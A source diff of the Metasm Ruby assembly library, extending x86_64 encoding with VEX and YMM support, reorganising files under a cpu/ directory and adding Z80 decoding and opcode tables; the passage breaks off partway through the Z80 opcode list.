@@ -168,25 +175,27 @@ class X86_64
       when :reg
         set_field[oa, ia.val_enc]
         if op.fields[:reg][1] == 3
-          rex_r = ia.val_rex
+          rex_r = ia.val_rex || 0
         else
-          rex_b = ia.val_rex
+          rex_b = ia.val_rex || 0
         end
-      when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regxmm, :regmmx
+      when :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm
         set_field[oa, ia.val & 7]
         rex_r = 1 if ia.val > 7
         pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128
+      when :vexvreg, :vexvxmm, :vexvymm
+        set_field[:vex_vvvv, ia.val ^ 0xf]
       when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0
         # implicit
-      when :modrm, :modrmA, :modrmmmx, :modrmxmm
+      when :modrm, :modrmmmx, :modrmxmm, :modrmymm
         # postpone, but we must set rex now
         case ia
         when ModRM
           ia.encode(0, @endianness)	# could swap b/i
-          rex_x = ia.i.val_rex if ia.i
-          rex_b = ia.b.val_rex if ia.b
+          rex_x = ia.i.val_rex || 0 if ia.i
+          rex_b = ia.b.val_rex || 0 if ia.b
         when Reg
-          rex_b = ia.val_rex
+          rex_b = ia.val_rex || 0
         else
           rex_b = ia.val >> 3
         end
@@ -196,7 +205,7 @@ class X86_64
       end
     }
 
-    if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty?
+    if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty?
       # reg field of modrm
       regval = (base[-1] >> 3) & 7
       base.pop
@@ -210,20 +219,26 @@ class X86_64
       postponed.first[1] = Expression[target, :-, postlabel]
     end
 
-    if rex_w == 1 or rex_r == 1 or rex_b == 1 or rex_x == 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 }
-      rex ||= 0x40
-      rex |= 1 if rex_b.to_i > 0
-      rex |= 2 if rex_x.to_i > 0
-      rex |= 4 if rex_r.to_i > 0
-      rex |= 8 if rex_w.to_i > 0
+    pfx << op.props[:needpfx] if op.props[:needpfx]
+
+    if op.fields[:vex_r]
+      set_field[:vex_r, rex_r ^ 1]
+      set_field[:vex_x, rex_x ^ 1] if op.fields[:vex_x]
+      set_field[:vex_b, rex_b ^ 1] if op.fields[:vex_b]
+      set_field[:vex_w, rex_w] if op.fields[:vex_w]
+    elsif rex_r + rex_x + rex_b + rex_w >= 1 or i.args.grep(Reg).find { |r| r.sz == 8 and r.val >= 4 and r.val < 8 }
+      rex = 0x40
+      rex |= 1 if rex_b == 1
+      rex |= 2 if rex_x == 1
+      rex |= 4 if rex_r == 1
+      rex |= 8 if rex_w == 1
+      pfx << rex
     end
-    pfx << rex if rex
     ret = EncodedData.new(pfx + base.pack('C*'))
 
     postponed.each { |oa, ia|
       case oa
-      when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym)
-      when :modrm, :modrmA, :modrmmmx, :modrmxmm
+      when :modrm, :modrmmmx, :modrmxmm, :modrmymm
         if ia.kind_of? ModRM
           ed = ia.encode(regval, @endianness)
           if ed.kind_of?(::Array)
@@ -243,8 +258,22 @@ class X86_64
       when :mrm_imm; ed = ia.imm.encode("a#{op.props[:adsz] || 64}".to_sym, @endianness)
       when :i8, :u8, :i16, :u16, :i32, :u32, :i64, :u64; ed = ia.encode(oa, @endianness)
       when :i
-        type = (opsz == 64 ? op.props[:imm64] ? :a64 : :i32 : "#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym)
-               ed = ia.encode(type, @endianness)
+        type = if opsz == 64
+          if op.props[:imm64]
+            :a64
+          else
+            if _ia = ia.reduce and _ia.kind_of?(Integer) and _ia > 0 and (_ia >> 63) == 1
+              # handle 0xffffffff_ffffffff -> -1, which should fit in i32
+              ia = Expression[_ia - (1 << 64)]
+            end
+            :i32
+          end
+        else
+          "a#{opsz}".to_sym
+        end
+        ed = ia.encode(type, @endianness)
+      when :i4xmm, :i4ymm
+        ed = ia.val << 4	# u8
       else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}"
       end
 
diff --git a/lib/metasm/metasm/x86_64/main.rb b/lib/metasm/metasm/cpu/x86_64/main.rb
similarity index 89%
rename from lib/metasm/metasm/x86_64/main.rb
rename to lib/metasm/metasm/cpu/x86_64/main.rb
index 2afed391d9..7c9b74250c 100644
--- a/lib/metasm/metasm/x86_64/main.rb
+++ b/lib/metasm/metasm/cpu/x86_64/main.rb
@@ -5,19 +5,27 @@
 
 
 require 'metasm/main'
-require 'metasm/ia32'
+require 'metasm/cpu/ia32'
 
 module Metasm
 
 # The x86_64, 64-bit extension of the x86 CPU (x64, em64t, amd64...)
 class X86_64 < Ia32
   # FpReg, SegReg, Farptr unchanged
-  # XXX ST(15) ?
 
-  # Simd extended to 16 regs, xmm only (mmx gone with 80387)
+  # XMM extended to 16 regs, YMM
   class SimdReg < Ia32::SimdReg
-    double_map  64 => (0..15).map { |n| "mm#{n}" },
-   			   128 => (0..15).map { |n| "xmm#{n}" }
+    double_map  64 => (0..7).map { |n| "mm#{n}" },
+         128 => (0..15).map { |n| "xmm#{n}" },
+         256 => (0..15).map { |n| "ymm#{n}" }
+
+    def val_enc
+      @val & 7
+    end
+
+    def val_rex
+      @val >> 3
+    end
   end
 
   # general purpose registers, all sizes
@@ -94,6 +102,10 @@ class X86_64 < Ia32
     simple_map((0..15).map { |i| [i, "cr#{i}"] })
   end
 
+  class TstReg < Ia32::TstReg
+    simple_map((0..15).map { |i| [i, "tr#{i}"] })
+  end
+
   # Create a new instance of an X86 cpu
   # arguments (any order)
   # - instruction set (386, 486, sse2...) [latest]
@@ -121,7 +133,7 @@ class X86_64 < Ia32
 
   def str_to_reg(str)
     # X86_64::Reg != Ia32::Reg
-    Reg.from_str(str) if Reg.s_to_i.has_key? str
+    Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil
   end
 
   def shortname
diff --git a/lib/metasm/metasm/cpu/x86_64/opcodes.rb b/lib/metasm/metasm/cpu/x86_64/opcodes.rb
new file mode 100644
index 0000000000..149c090948
--- /dev/null
+++ b/lib/metasm/metasm/cpu/x86_64/opcodes.rb
@@ -0,0 +1,136 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/x86_64/main'
+require 'metasm/cpu/ia32/opcodes'
+
+module Metasm
+class X86_64
+  def init_cpu_constants
+    super()
+    [:i32, :u32, :i64, :u64].each { |a| @valid_args[a] = true }
+  end
+
+  def init_386_common_only
+    super()
+    # :imm64 => accept a real int64 as :i argument
+    # :auto64 => ignore rex_w, always 64-bit op
+    # :op32no64 => if write to a 32-bit reg, dont zero the top 32-bits of dest
+    [:imm64, :auto64, :op32no64].each { |a| @valid_props[a] = true }
+    @opcode_list.delete_if { |o| o.bin[0].to_i & 0xf0 == 0x40 }	# now REX prefix
+    @opcode_list.each { |o|
+      o.props[:imm64] = true if o.bin == [0xB8]	# mov reg, <true imm64>
+      o.props[:auto64] = true if o.name =~ /^(j.*|loop.*|call|enter|leave|push|pop|ret)$/
+    }
+    addop 'movsxd', [0x63], :mrm
+    addop('cdqe', [0x98]) { |o| o.props[:opsz] = 64 }
+    addop('cqo',  [0x99]) { |o| o.props[:opsz] = 64 }
+  end
+
+  # all x86_64 cpu understand <= sse2 instrs
+  def init_x8664_only
+    init_386_common_only
+    init_386_only
+    init_387_only
+    init_486_only
+    init_pentium_only
+    init_p6_only
+    init_sse_only
+    init_sse2_only
+
+    @opcode_list.delete_if { |o|
+      o.args.include?(:seg2) or
+      o.args.include?(:seg2A) or
+      o.args.include?(:farptr) or
+      %w[aaa aad aam aas bound daa das into jcxz jecxz
+       lds les loadall arpl pusha pushad popa
+       popad].include?(o.name.split('.')[0])
+       # split needed for lds.a32
+    }
+
+    @opcode_list.each { |o|
+      o.props[:auto64] = true if o.name =~ /^(enter|leave|[sl]gdt|[sl]idt|[sl]ldt|[sl]tr|push|pop|syscall)$/
+    }
+
+    addop('cmpxchg16b', [0x0F, 0xC7], 1) { |o| o.props[:opsz] = 64 ; o.props[:argsz] = 128 }
+    addop('iretq', [0xCF], nil, :stopexec, :setip) { |o| o.props[:opsz] = 64 } ; opcode_list.unshift opcode_list.pop
+    addop 'swapgs', [0x0F, 0x01, 0xF8]
+
+    addop('movq',  [0x0F, 0x6E], :mrmmmx, {:d => [1, 4]}) { |o| o.args = [:modrm, :regmmx] ; o.props[:opsz] = o.props[:argsz] = 64 }
+    addop('movq',  [0x0F, 0x6E], :mrmxmm, {:d => [1, 4]}) { |o| o.args = [:modrm, :regxmm] ; o.props[:opsz] = o.props[:argsz] = 64 ; o.props[:needpfx] = 0x66 }
+    addop('jcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 32 }	# actually 16 (cx), but x64 in general says pfx 0x67 => adsz = 32
+    addop('jrcxz', [0xE3], nil, :setip, :i8) { |o| o.props[:adsz] = 64 }
+  end
+
+  def init_sse3
+    init_x8664_only
+    init_sse3_only
+  end
+
+  def init_sse41_only
+    super()
+    addop('pextrq', [0x0F, 0x3A, 0x16], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 }
+    addop('pinsrq', [0x0F, 0x3A, 0x22], :mrmxmm, :u8) { |o| o.props[:needpfx] = 0x66; o.args[o.args.index(:modrmxmm)] = :modrm; o.props[:opsz] = o.props[:argsz] = 64 }
+  end
+
+  def init_avx_only
+    super()
+    addop('rdfsbase', [0x0F, 0xAE], 0, :modrmR) { |o| o.props[:needpfx] = 0xF3 }
+    addop('rdgsbase', [0x0F, 0xAE], 1, :modrmR) { |o| o.props[:needpfx] = 0xF3 }
+    addop('wrfsbase', [0x0F, 0xAE], 2, :modrmR) { |o| o.props[:needpfx] = 0xF3 }
+    addop('wrgsbase', [0x0F, 0xAE], 3, :modrmR) { |o| o.props[:needpfx] = 0xF3 }
+  end
+
+  def addop_macrostr(name, bin, type)
+    super(name, bin, type)
+    bin = bin.dup
+    bin[0] |= 1
+    addop(name+'q', bin) { |o| o.props[:opsz] = 64 ; o.props[type] = true }
+  end
+
+  def addop_macroret(name, bin, *args)
+    addop(name + '.i64', bin, nil, :stopexec, :setip, *args) { |o| o.props[:opsz] = 64 }
+    super(name, bin, *args)
+  end
+
+  def addop_post(op)
+    if op.fields[:d] or op.fields[:w] or op.fields[:s] or op.args.first == :regfp0
+      return super(op)
+    end
+
+    if op.props[:needpfx]
+      @opcode_list.unshift op
+    else
+      @opcode_list << op
+    end
+
+    if op.args == [:i] or op.name == 'ret'
+      # define opsz-override version for ambiguous opcodes
+      op16 = op.dup
+      op16.name << '.i16'
+      op16.props[:opsz] = 16
+      @opcode_list << op16
+      # push call ret jz  can't 32bit
+      op64 = op.dup
+      op64.name << '.i64'
+      op64.props[:opsz] = 64
+      @opcode_list << op64
+    elsif op.props[:strop] or op.props[:stropz] or op.args.include? :mrm_imm or
+        op.args.include? :modrm or op.name =~ /loop|xlat/
+      # define adsz-override version for ambiguous opcodes (movsq)
+      # XXX loop pfx 67 = rip+ecx, 66/rex ignored
+      op32 = op.dup
+      op32.name << '.a32'
+      op32.props[:adsz] = 32
+      @opcode_list << op32
+      op64 = op.dup
+      op64.name << '.a64'
+      op64.props[:adsz] = 64
+      @opcode_list << op64
+    end
+  end
+end
+end
diff --git a/lib/metasm/metasm/x86_64/parse.rb b/lib/metasm/metasm/cpu/x86_64/parse.rb
similarity index 77%
rename from lib/metasm/metasm/x86_64/parse.rb
rename to lib/metasm/metasm/cpu/x86_64/parse.rb
index 0435eac521..8a558ba1df 100644
--- a/lib/metasm/metasm/x86_64/parse.rb
+++ b/lib/metasm/metasm/cpu/x86_64/parse.rb
@@ -4,8 +4,8 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/x86_64/opcodes'
-require 'metasm/x86_64/encode'
+require 'metasm/cpu/x86_64/opcodes'
+require 'metasm/cpu/x86_64/encode'
 require 'metasm/parse'
 
 module Metasm
@@ -29,7 +29,7 @@ class X86_64
 
   # needed due to how ruby inheritance works wrt constants
   def parse_argregclasslist
-    [Reg, SimdReg, SegReg, DbgReg, CtrlReg, FpReg]
+    [Reg, SimdReg, SegReg, DbgReg, TstReg, CtrlReg, FpReg]
   end
   # same inheritance sh*t
   def parse_modrm(lex, tok, cpu)
@@ -52,6 +52,8 @@ class X86_64
     return if arg.kind_of? ModRM and ((arg.b and arg.b.val == 16 and arg.i) or (arg.i and arg.i.val == 16 and (arg.b or arg.s != 1)))
     return if arg.kind_of? Reg and arg.sz >= 32 and arg.val == 16	# eip/rip only in modrm
     return if o.props[:auto64] and arg.respond_to? :sz and arg.sz == 32
+    # vex c4/c5
+    return if o.fields[:vex_r] and not o.fields[:vex_b] and (spec == :modrm or spec == :modrmxmm or spec == :modrmymm) and (((arg.kind_of?(SimdReg) or arg.kind_of?(Reg)) and arg.val >= 8) or (arg.kind_of?(ModRM) and ((arg.b and arg.b.val >= 8) or (arg.i and arg.i.val >= 8))))
     if o.name == 'movsxd'
       return if not arg.kind_of? Reg and not arg.kind_of? ModRM
       arg.sz ||= 32
@@ -62,7 +64,13 @@ class X86_64
         return arg.sz == 32
       end
     end
+    return if o.name == 'xchg' and spec == :reg and o.args.include?(:reg_eax) and arg.kind_of?(Reg) and arg.sz == 32 and arg.val == 0
+
     super(o, spec, arg)
   end
+
+  def check_reserved_name(name)
+    Reg.s_to_i[name]
+  end
 end
 end
diff --git a/lib/metasm/metasm/cpu/x86_64/render.rb b/lib/metasm/metasm/cpu/x86_64/render.rb
new file mode 100644
index 0000000000..c14813f01c
--- /dev/null
+++ b/lib/metasm/metasm/cpu/x86_64/render.rb
@@ -0,0 +1,35 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/x86_64/opcodes'
+require 'metasm/render'
+
+module Metasm
+class X86_64
+  def gui_hilight_word_regexp_init
+    ret = {}
+
+    %w[a b c d].each { |r|
+      ret["#{r}l"] = "[re]?#{r}x|#{r}l"
+      ret["#{r}h"] = "[re]?#{r}x|#{r}h"
+      ret["#{r}x"] = ret["e#{r}x"] = ret["r#{r}x"] = "[re]?#{r}x|#{r}[hl]"
+    }
+
+    %w[sp bp si di].each { |r|
+      ret["#{r}l"] = ret[r] = ret["e#{r}"] = ret["r#{r}"] = "[re]?#{r}|#{r}l"
+    }
+
+    (8..15).each { |i|
+      r = "r#{i}"
+      ret[r+'b'] = ret[r+'w'] = ret[r+'d'] = ret[r] = "#{r}[bwd]?"
+    }
+
+    ret['eip'] = ret['rip'] = '[re]ip'
+
+    ret
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/z80.rb b/lib/metasm/metasm/cpu/z80.rb
new file mode 100644
index 0000000000..a842092909
--- /dev/null
+++ b/lib/metasm/metasm/cpu/z80.rb
@@ -0,0 +1,9 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/main'
+require 'metasm/cpu/z80/decode'
+require 'metasm/cpu/z80/render'
diff --git a/lib/metasm/metasm/cpu/z80/decode.rb b/lib/metasm/metasm/cpu/z80/decode.rb
new file mode 100644
index 0000000000..f4f6898646
--- /dev/null
+++ b/lib/metasm/metasm/cpu/z80/decode.rb
@@ -0,0 +1,313 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/z80/opcodes'
+require 'metasm/decode'
+
+module Metasm
+class Z80
+  def build_opcode_bin_mask(op)
+    # bit = 0 if can be mutated by an field value, 1 if fixed by opcode
+    op.bin_mask = Array.new(op.bin.length, 0)
+    op.fields.each { |f, (oct, off)|
+      op.bin_mask[oct] |= (@fields_mask[f] << off)
+    }
+    op.bin_mask.map! { |v| 255 ^ v }
+  end
+
+  def build_bin_lookaside
+    # sets up a hash byte value => list of opcodes that may match
+    # opcode.bin_mask is built here
+    lookaside = Array.new(256) { [] }
+    opcode_list.each { |op|
+      build_opcode_bin_mask op
+      b   = op.bin[0]
+      msk = op.bin_mask[0]
+      next @unknown_opcode = op if not b
+      for i in b..(b | (255^msk))
+        lookaside[i] << op if i & msk == b & msk
+      end
+    }
+    lookaside
+  end
+
+  def decode_prefix(instr, byte)
+    case byte
+    when 0xDD; instr.prefix = 0xDD
+    when 0xFD; instr.prefix = 0xFD
+    # implicit 'else return false'
+    end
+  end
+
+  # tries to find the opcode encoded at edata.ptr
+  # if no match, tries to match a prefix (update di.instruction.prefix)
+  # on match, edata.ptr points to the first byte of the opcode (after prefixes)
+  def decode_findopcode(edata)
+    di = DecodedInstruction.new self
+    while edata.ptr < edata.data.length
+      byte = edata.data[edata.ptr]
+      byte = byte.unpack('C').first if byte.kind_of?(::String)
+      return di if di.opcode = @bin_lookaside[byte].find { |op|
+        # fetch the relevant bytes from edata
+        bseq = edata.data[edata.ptr, op.bin.length].unpack('C*')
+        # check against full opcode mask
+        op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) }
+      }
+
+      if decode_prefix(di.instruction, edata.get_byte)
+        nb = edata.data[edata.ptr]
+        nb = nb.unpack('C').first if nb.kind_of?(::String)
+        case nb
+        when 0xCB
+          # DD CB <disp8> <opcode_pfxCB> [<args>]
+          di.instruction.prefix |= edata.get_byte	<< 8
+          di.bin_length += 2
+          opc = edata.data[edata.ptr+1]
+          opc = opc.unpack('C').first if opc.kind_of?(::String)
+          bseq = [0xCB, opc]
+          # XXX in decode_instr_op, byte[0] is the immediate displacement instead of cb
+          return di if di.opcode = @bin_lookaside[nb].find { |op|
+            op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) }
+          }
+        when 0xED
+          di.instruction.prefix = nil
+        end
+      else
+        di.opcode = @unknown_opcode
+        return di
+      end
+      di.bin_length += 1
+    end
+  end
+
+
+  def decode_instr_op(edata, di)
+    before_ptr = edata.ptr
+    op = di.opcode
+    di.instruction.opname = op.name
+    bseq = edata.read(op.bin.length).unpack('C*')		# decode_findopcode ensures that data >= op.length
+    pfx = di.instruction.prefix
+
+    field_val = lambda { |f|
+      if fld = op.fields[f]
+        (bseq[fld[0]] >> fld[1]) & @fields_mask[f]
+      end
+    }
+
+    op.args.each { |a|
+      di.instruction.args << case a
+      when :i8, :u8, :i16, :u16; Expression[edata.decode_imm(a, @endianness)]
+      when :iy; Expression[field_val[a]]
+      when :iy8; Expression[field_val[a]*8]
+
+      when :rp
+        v = field_val[a]
+        Reg.new(16, v)
+      when :rp2
+        v = field_val[a]
+        v = 4 if v == 3
+        Reg.new(16, v)
+      when :ry, :rz
+        v = field_val[a]
+        if v == 6
+          Memref.new(Reg.from_str('HL'), nil, 1)
+        else
+          Reg.new(8, v)
+        end
+
+      when :r_a;   Reg.from_str('A')
+      when :r_af;  Reg.from_str('AF')
+      when :r_hl;  Reg.from_str('HL')
+      when :r_de;  Reg.from_str('DE')
+      when :r_sp;  Reg.from_str('SP')
+      when :r_i;   Reg.from_str('I')
+
+      when :m16;  Memref.new(nil, edata.decode_imm(:u16, @endianness), nil)
+      when :m_bc; Memref.new(Reg.from_str('BC'), nil, 1)
+      when :m_de; Memref.new(Reg.from_str('DE'), nil, 1)
+      when :m_sp; Memref.new(Reg.from_str('SP'), nil, 2)
+      when :m_hl; Memref.new(Reg.from_str('HL'), nil, 1)
+      when :mf8;  Memref.new(nil, 0xff00 + edata.decode_imm(:u8, @endianness), 1)
+      when :mfc;  Memref.new(Reg.from_str('C'), 0xff00, 1)
+
+      else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
+      end
+    }
+
+    case pfx
+    when 0xDD
+    when 0xFD
+    when 0xCBDD
+    when 0xCBFD
+    end
+
+    di.bin_length += edata.ptr - before_ptr
+
+    return if edata.ptr > edata.length
+
+    di
+  end
+
+  # hash opcode_name => lambda { |dasm, di, *symbolic_args| instr_binding }
+  def backtrace_binding
+    @backtrace_binding ||= init_backtrace_binding
+  end
+  def backtrace_binding=(b) @backtrace_binding = b end
+
+  # populate the @backtrace_binding hash with default values
+  def init_backtrace_binding
+    @backtrace_binding ||= {}
+
+    mask = 0xffff
+
+    opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
+      binding = case op
+      when 'ld'; lambda { |di, a0, a1, *aa| a2 = aa[0] ; a2 ? { a0 => Expression[a1, :+, a2] } : { a0 => Expression[a1] } }
+      when 'ldi'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :+, 1] } }
+      when 'ldd'; lambda { |di, a0, a1| hl = (a0 == :a ? a1 : a0) ; { a0 => Expression[a1], hl => Expression[hl, :-, 1] } }
+      when 'add', 'adc', 'sub', 'sbc', 'and', 'xor', 'or'
+        lambda { |di, a0, a1|
+          e_op = { 'add' => :+, 'adc' => :+, 'sub' => :-, 'sbc' => :-, 'and' => :&, 'xor' => :^, 'or' => :| }[op]
+          ret = Expression[a0, e_op, a1]
+          ret = Expression[ret, e_op, :flag_c] if op == 'adc' or op == 'sbc'
+          ret = Expression[ret.reduce] if not a0.kind_of? Indirection
+          { a0 => ret }
+        }
+      when 'cp', 'cmp'; lambda { |di, *a| {} }
+      when 'inc'; lambda { |di, a0| { a0 => Expression[a0, :+, 1] } }
+      when 'dec'; lambda { |di, a0| { a0 => Expression[a0, :-, 1] } }
+      when 'not'; lambda { |di, a0| { a0 => Expression[a0, :^, mask] } }
+      when 'push'
+        lambda { |di, a0| { :sp => Expression[:sp, :-, 2],
+          Indirection[:sp, 2, di.address] => Expression[a0] } }
+      when 'pop'
+        lambda { |di, a0| { :sp => Expression[:sp, :+, 2],
+          a0 => Indirection[:sp, 2, di.address] } }
+      when 'call'
+        lambda { |di, a0| { :sp => Expression[:sp, :-, 2],
+            Indirection[:sp, 2, di.address] => Expression[di.next_addr] }
+        }
+      when 'ret', 'reti'; lambda { |di, *a| { :sp => Expression[:sp, :+, 2] } }
+      # TODO callCC, retCC ...
+      when 'bswap'
+        lambda { |di, a0| { a0 => Expression[
+            [[a0, :&, 0xff00], :>>,  8], :|,
+            [[a0, :&, 0x00ff], :<<,  8]] } }
+      when 'nop', /^j/; lambda { |di, *a| {} }
+      end
+
+      # TODO flags ?
+
+      @backtrace_binding[op] ||= binding if binding
+    }
+    @backtrace_binding
+  end
+
+  def get_backtrace_binding(di)
+    a = di.instruction.args.map { |arg|
+      case arg
+      when Memref, Reg; arg.symbolic(di)
+      else arg
+      end
+    }
+
+    if binding = backtrace_binding[di.opcode.basename]
+      binding[di, *a]
+    else
+      puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
+      # assume nothing except the 1st arg is modified
+      case a[0]
+      when Indirection, Symbol; { a[0] => Expression::Unknown }
+      when Expression; (x = a[0].externals.first) ? { x => Expression::Unknown } : {}
+      else {}
+      end.update(:incomplete_binding => Expression[1])
+    end
+  end
+
+  # patch a forward binding from the backtrace binding
+  def fix_fwdemu_binding(di, fbd)
+    case di.opcode.name
+    when 'push', 'call'; fbd[Indirection[[:sp, :-, 2], 2]] = fbd.delete(Indirection[:sp, 2])
+    end
+    fbd
+  end
+
+  def get_xrefs_x(dasm, di)
+    return [] if not di.opcode.props[:setip]
+
+    case di.opcode.basename
+    when 'ret', 'reti'
+      return [Indirection[:sp, 2, di.address]]
+    when /^jr|^djnz/
+      # jmp/call are absolute addrs, only jr/djnz are relative
+      # also, the asm source should display the relative offset
+      return [Expression[[di.address, :+, di.bin_length], :+, di.instruction.args.first]]
+    end
+
+    case tg = di.instruction.args.first
+    when Memref; [Expression[tg.symbolic(di)]]
+    when Reg; [Expression[tg.symbolic(di)]]
+    when Expression, ::Integer; [Expression[tg]]
+    else
+      puts "unhandled setip at #{di.address} #{di.instruction}" if $DEBUG
+      []
+    end
+  end
+
+  # checks if expr is a valid return expression matching the :saveip instruction
+  def backtrace_is_function_return(expr, di=nil)
+    expr = Expression[expr].reduce_rec
+    expr.kind_of?(Indirection) and expr.len == 2 and expr.target == Expression[:sp]
+  end
+
+  # updates the function backtrace_binding
+  # if the function is big and no specific register is given, do nothing (the binding will be lazily updated later, on demand)
+  def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs)
+    b = f.backtrace_binding
+
+    bt_val = lambda { |r|
+      next if not retaddrlist
+      b[r] = Expression::Unknown
+      bt = []
+      retaddrlist.each { |retaddr|
+        bt |= dasm.backtrace(Expression[r], retaddr, :include_start => true,
+               :snapshot_addr => faddr, :origin => retaddr)
+      }
+      if bt.length != 1
+        b[r] = Expression::Unknown
+      else
+        b[r] = bt.first
+      end
+    }
+
+    if not wantregs.empty?
+      wantregs.each(&bt_val)
+    else
+      bt_val[:sp]
+    end
+
+    b
+  end
+
+  # returns true if the expression is an address on the stack
+  def backtrace_is_stack_address(expr)
+    Expression[expr].expr_externals.include?(:sp)
+  end
+
+  # updates an instruction's argument replacing an expression with another (eg label renamed)
+  def replace_instr_arg_immediate(i, old, new)
+    i.args.map! { |a|
+      case a
+      when Expression; a == old ? new : Expression[a.bind(old => new).reduce]
+      when Memref
+        a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset
+        a
+      else a
+      end
+    }
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/z80/main.rb b/lib/metasm/metasm/cpu/z80/main.rb
new file mode 100644
index 0000000000..516c919e8b
--- /dev/null
+++ b/lib/metasm/metasm/cpu/z80/main.rb
@@ -0,0 +1,67 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/main'
+
+module Metasm
+class Z80 < CPU
+  class Reg
+    class << self
+      attr_accessor :s_to_i, :i_to_s
+    end
+    @i_to_s = { 8 => { 0 => 'B', 1 => 'C', 2 => 'D', 3 => 'E',
+           4 => 'H', 5 => 'L', 7 => 'A' },
+         16 => { 0 => 'BC', 1 => 'DE', 2 => 'HL', 3 => 'SP',
+           4 => 'AF' } }	# AF is 3 too
+    @s_to_i = @i_to_s.inject({}) { |h, (sz, rh)|
+      h.update rh.inject({}) { |hh, (i, n)|
+        hh.update n => [sz, i] } }
+
+    attr_accessor :sz, :i
+    def initialize(sz, i)
+      @sz = sz
+      @i = i
+    end
+
+    def symbolic(orig=nil) ; to_s.to_sym ; end
+
+    def self.from_str(s)
+      raise "Bad name #{s.inspect}" if not x = @s_to_i[s]
+      new(*x)
+    end
+  end
+
+  class Memref
+    attr_accessor :base, :offset, :sz
+    def initialize(base, offset, sz=nil)
+      @base = base
+      offset = Expression[offset] if offset
+      @offset = offset
+      @sz = sz
+    end
+
+    def symbolic(orig)
+      p = nil
+      p = Expression[p, :+, @base.symbolic] if base
+      p = Expression[p, :+, @offset] if offset
+      Indirection[p.reduce, @sz, orig]
+    end
+  end
+
+  def initialize(family = :latest)
+    super()
+    @endianness = :little
+    @size = 16
+    @family = family
+  end
+
+  def init_opcode_list
+    send("init_#@family")
+    @opcode_list
+  end
+end
+end
+
diff --git a/lib/metasm/metasm/cpu/z80/opcodes.rb b/lib/metasm/metasm/cpu/z80/opcodes.rb
new file mode 100644
index 0000000000..055de44249
--- /dev/null
+++ b/lib/metasm/metasm/cpu/z80/opcodes.rb
@@ -0,0 +1,224 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+require 'metasm/cpu/z80/main'
+
+module Metasm
+
+class Z80
+  def addop(name, bin, *args)
+    o = Opcode.new name, bin
+    args.each { |a|
+      o.args << a if @fields_mask[a] or @valid_args[a]
+      o.props[a] = true if @valid_props[a]
+      o.fields[a] = [bin.length-1, @fields_shift[a]] if @fields_mask[a]
+      raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a]
+    }
+    @opcode_list << o
+  end
+
+  def addop_macrocc(name, bin, *args)
+    %w[nz z nc c po pe p m].each_with_index { |cc, i|
+      dbin = bin.dup
+      dbin[0] |= i << 3
+      addop name + cc, dbin, *args
+    }
+  end
+
+  # data from http://www.z80.info/decoding.htm
+  def init_z80_common
+    @opcode_list = []
+    @valid_args.update [:i8, :u8, :i16, :u16, :m16,
+      :r_a, :r_af, :r_hl, :r_de, :r_sp, :r_i,
+      :m_bc, :m_de, :m_sp, :m_hl, :mf8, :mfc
+    ].inject({}) { |h, v| h.update v => true }
+    @fields_mask.update :rz => 7, :ry => 7, :rp => 3, :rp2 => 3, :iy => 7, :iy8 => 7
+    @fields_shift.update :rz => 0, :ry => 3, :rp => 4, :rp2 => 4, :iy => 3, :iy8 => 3
+
+    # some opcodes are in init_z80 when they are not part of the GB ABI
+    addop 'nop',  [0b00_000_000]
+    addop 'jr',   [0b00_011_000], :setip, :stopexec, :i8
+    %w[nz z nc c].each_with_index { |cc, i|
+      addop 'jr' + cc, [0b00_100_000 | (i << 3)], :setip, :i8
+    }
+    addop 'ld',   [0b00_000_001], :rp, :i16
